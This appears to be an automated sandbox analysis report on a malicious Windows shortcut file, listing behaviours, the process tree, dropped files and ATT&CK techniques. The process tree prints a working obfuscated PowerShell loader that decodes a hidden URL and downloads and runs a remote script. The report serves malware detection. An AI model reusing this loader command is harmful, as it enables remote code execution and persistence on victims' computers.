Analysis
- max time kernel
149s - max time network
149s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
29/07/2026, 11:42
General
- Target photov_666120654596.lnk
- Size 2KB
- Sample260729-nvgrragb49
- SHA256 dfe7cb49c7e7cc780cca527c8febfca85649cfdb978d391c0ac0624d2414ad52
Malware Config
Signatures
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 3 IoCs
- Loads dropped DLL 6 IoCs
- Adds Run key to start application 2 TTPs 2 IoCs
- Suspicious use of SetThreadContext 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 2 IoCs
- Suspicious use of AdjustPrivilegeToken 24 IoCs
- Suspicious use of WriteProcessMemory 14 IoCs
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\photov_666120654596.lnk1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c powershell -WindowStyle Minimized -c "$v3wth=30;$ogylf2d=50;$anhx_0=83;$iou_nide=[bigint]::Parse('725455199793485819316206287968633616768317572');$z_i29=[bigint]::Parse('725455199200318728858107320773576347619480859');$iou_nide=$iou_nide-$z_i29;$q3u2gbwmc8=@();while($iou_nide -gt 0){$q3u2gbwmc8+=[char][int]([bigint]::Remainder($iou_nide,256));$iou_nide=[bigint]::Divide($iou_nide,256)};.([scriptblock]::Create((irm(-join$q3u2gbwmc8))))"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Minimized -c "$v3wth=30;$ogylf2d=50;$anhx_0=83;$iou_nide=[bigint]::Parse('725455199793485819316206287968633616768317572');$z_i29=[bigint]::Parse('725455199200318728858107320773576347619480859');$iou_nide=$iou_nide-$z_i29;$q3u2gbwmc8=@();while($iou_nide -gt 0){$q3u2gbwmc8+=[char][int]([bigint]::Remainder($iou_nide,256));$iou_nide=[bigint]::Divide($iou_nide,256)};.([scriptblock]::Create((irm(-join$q3u2gbwmc8))))"3⤵
- Badlisted process makes network request
- Adds Run key to start application
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\ebxrffix_zzibup_upd_vfc6c763870b37346\psl.exe"C:\Users\Admin\AppData\Local\Temp\ebxrffix_zzibup_upd_vfc6c763870b37346\psl.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"5⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exe"cmd /c start "" /D "C:\ProgramData\pslservicewinx32" "C:\ProgramData\pslservicewinx32\psl.exe""1⤵
- Suspicious use of WriteProcessMemory
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C:\ProgramData\pslservicewinx32\psl.exe"C:\ProgramData\pslservicewinx32\psl.exe""2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\Temp\DCRCVDrv.sysC:\Windows\Temp\DCRCVDrv.sys1⤵
- Executes dropped EXE
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Replay Monitor
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Downloads
__PSScriptPolicyTest_0wusta5g.qrz.ps1
libiconv-2.dll
libidn2-0.dll
libintl-8.dll
libpsl-5.dll
libunistring-5.dll
msvcp140.dll
psl.exe
ucrtbase.dll
vcruntime140.dll
vcruntime140_1.dll
qzuwv_mjopaocxw_ptqlpc.zip
DCRCVDrv.sys
memory/1732-1-0x0000025FDDF80000-0x0000025FDDFA2000-memory.dmp
memory/1732-15-0x0000025FDE190000-0x0000025FDE19A000-memory.dmp
memory/1732-17-0x0000025FDE1E0000-0x0000025FDE1F2000-memory.dmp
memory/1732-61-0x0000025FF6AC0000-0x0000025FF6CDC000-memory.dmp
memory/1732-14-0x0000025FF79F0000-0x0000025FF7F18000-memory.dmp
memory/1732-13-0x0000025FDD9D0000-0x0000025FDD9E0000-memory.dmp
memory/1732-12-0x0000025FDE170000-0x0000025FDE194000-memory.dmp
memory/1732-11-0x0000025FDE170000-0x0000025FDE19A000-memory.dmp
memory/1732-10-0x0000025FDD9D0000-0x0000025FDD9E0000-memory.dmp
memory/1732-9-0x0000025FF72F0000-0x0000025FF74B2000-memory.dmp
memory/1732-0-0x0000025FDD9D0000-0x0000025FDD9E0000-memory.dmp
memory/3876-87-0x0000000000010000-0x000000000003D000-memory.dmp
memory/4296-195-0x0000000004FB0000-0x0000000004FD6000-memory.dmp
memory/4296-167-0x0000000004FB0000-0x0000000004FD6000-memory.dmp
memory/4296-106-0x0000000004F70000-0x0000000004F8A000-memory.dmp
memory/4296-107-0x0000000004FB0000-0x0000000004FDC000-memory.dmp
memory/4296-109-0x0000000004FB0000-0x0000000004FD6000-memory.dmp
memory/4296-117-0x0000000004FB0000-0x0000000004FD6000-memory.dmp
memory/4296-227-0x0000000004FB0000-0x0000000004FD6000-memory.dmp
memory/4296-225-0x0000000004FB0000-0x0000000004FD6000-memory.dmp
memory/4296-223-0x0000000004FB0000-0x0000000004FD6000-memory.dmp
memory/4296-221-0x0000000004FB0000-0x0000000004FD6000-memory.dmp
memory/4296-220-0x0000000004FB0000-0x0000000004FD6000-memory.dmp
memory/4296-217-0x0000000004FB0000-0x0000000004FD6000-memory.dmp
memory/4296-215-0x0000000004FB0000-0x0000000004FD6000-memory.dmp
memory/4296-213-0x0000000004FB0000-0x0000000004FD6000-memory.dmp
memory/4296-211-0x0000000004FB0000-0x0000000004FD6000-memory.dmp
memory/4296-207-0x0000000004FB0000-0x0000000004FD6000-memory.dmp
memory/4296-205-0x0000000004FB0000-0x0000000004FD6000-memory.dmp
memory/4296-203-0x0000000004FB0000-0x0000000004FD6000-memory.dmp
memory/4296-201-0x0000000004FB0000-0x0000000004FD6000-memory.dmp
memory/4296-199-0x0000000004FB0000-0x0000000004FD6000-memory.dmp
memory/4296-197-0x0000000004FB0000-0x0000000004FD6000-memory.dmp
memory/4296-104-0x0000000000810000-0x0000000000880000-memory.dmp
memory/4296-193-0x0000000004FB0000-0x0000000004FD6000-memory.dmp
memory/4296-191-0x0000000004FB0000-0x0000000004FD6000-memory.dmp
memory/4296-189-0x0000000004FB0000-0x0000000004FD6000-memory.dmp
memory/4296-187-0x0000000004FB0000-0x0000000004FD6000-memory.dmp
memory/4296-185-0x0000000004FB0000-0x0000000004FD6000-memory.dmp
memory/4296-183-0x0000000004FB0000-0x0000000004FD6000-memory.dmp
memory/4296-181-0x0000000004FB0000-0x0000000004FD6000-memory.dmp
memory/4296-180-0x0000000004FB0000-0x0000000004FD6000-memory.dmp
memory/4296-177-0x0000000004FB0000-0x0000000004FD6000-memory.dmp
memory/4296-175-0x0000000004FB0000-0x0000000004FD6000-memory.dmp
memory/4296-173-0x0000000004FB0000-0x0000000004FD6000-memory.dmp
memory/4296-172-0x0000000004FB0000-0x0000000004FD6000-memory.dmp
memory/4296-170-0x0000000004FB0000-0x0000000004FD6000-memory.dmp
memory/4296-1367-0x0000000006A20000-0x0000000006FC4000-memory.dmp
memory/4296-165-0x0000000004FB0000-0x0000000004FD6000-memory.dmp
memory/4296-163-0x0000000004FB0000-0x0000000004FD6000-memory.dmp
memory/4296-161-0x0000000004FB0000-0x0000000004FD6000-memory.dmp
memory/4296-159-0x0000000004FB0000-0x0000000004FD6000-memory.dmp
memory/4296-157-0x0000000004FB0000-0x0000000004FD6000-memory.dmp
memory/4296-155-0x0000000004FB0000-0x0000000004FD6000-memory.dmp
memory/4296-153-0x0000000004FB0000-0x0000000004FD6000-memory.dmp
memory/4296-151-0x0000000004FB0000-0x0000000004FD6000-memory.dmp
memory/4296-149-0x0000000004FB0000-0x0000000004FD6000-memory.dmp
memory/4296-147-0x0000000004FB0000-0x0000000004FD6000-memory.dmp
memory/4296-145-0x0000000004FB0000-0x0000000004FD6000-memory.dmp
memory/4296-143-0x0000000004FB0000-0x0000000004FD6000-memory.dmp
memory/4296-141-0x0000000004FB0000-0x0000000004FD6000-memory.dmp
memory/4296-139-0x0000000004FB0000-0x0000000004FD6000-memory.dmp
memory/4296-137-0x0000000004FB0000-0x0000000004FD6000-memory.dmp
memory/4296-135-0x0000000004FB0000-0x0000000004FD6000-memory.dmp
memory/4296-133-0x0000000004FB0000-0x0000000004FD6000-memory.dmp
memory/4296-131-0x0000000004FB0000-0x0000000004FD6000-memory.dmp
memory/4296-129-0x0000000004FB0000-0x0000000004FD6000-memory.dmp
memory/4296-127-0x0000000004FB0000-0x0000000004FD6000-memory.dmp
memory/4296-125-0x0000000004FB0000-0x0000000004FD6000-memory.dmp
memory/4296-123-0x0000000004FB0000-0x0000000004FD6000-memory.dmp
memory/4296-121-0x0000000004FB0000-0x0000000004FD6000-memory.dmp
memory/4296-119-0x0000000004FB0000-0x0000000004FD6000-memory.dmp
memory/4296-115-0x0000000004FB0000-0x0000000004FD6000-memory.dmp
memory/4296-113-0x0000000004FB0000-0x0000000004FD6000-memory.dmp
memory/4296-111-0x0000000004FB0000-0x0000000004FD6000-memory.dmp
memory/4296-209-0x0000000004FB0000-0x0000000004FD6000-memory.dmp
memory/4296-108-0x0000000004FB0000-0x0000000004FD6000-memory.dmp
memory/4296-1366-0x00000000063D0000-0x0000000006462000-memory.dmp
memory/4296-1363-0x0000000005240000-0x00000000052A6000-memory.dmp
memory/4784-105-0x00007FF72F610000-0x00007FF72F625000-memory.dmp
memory/5596-736-0x0000000000400000-0x0000000000470000-memory.dmp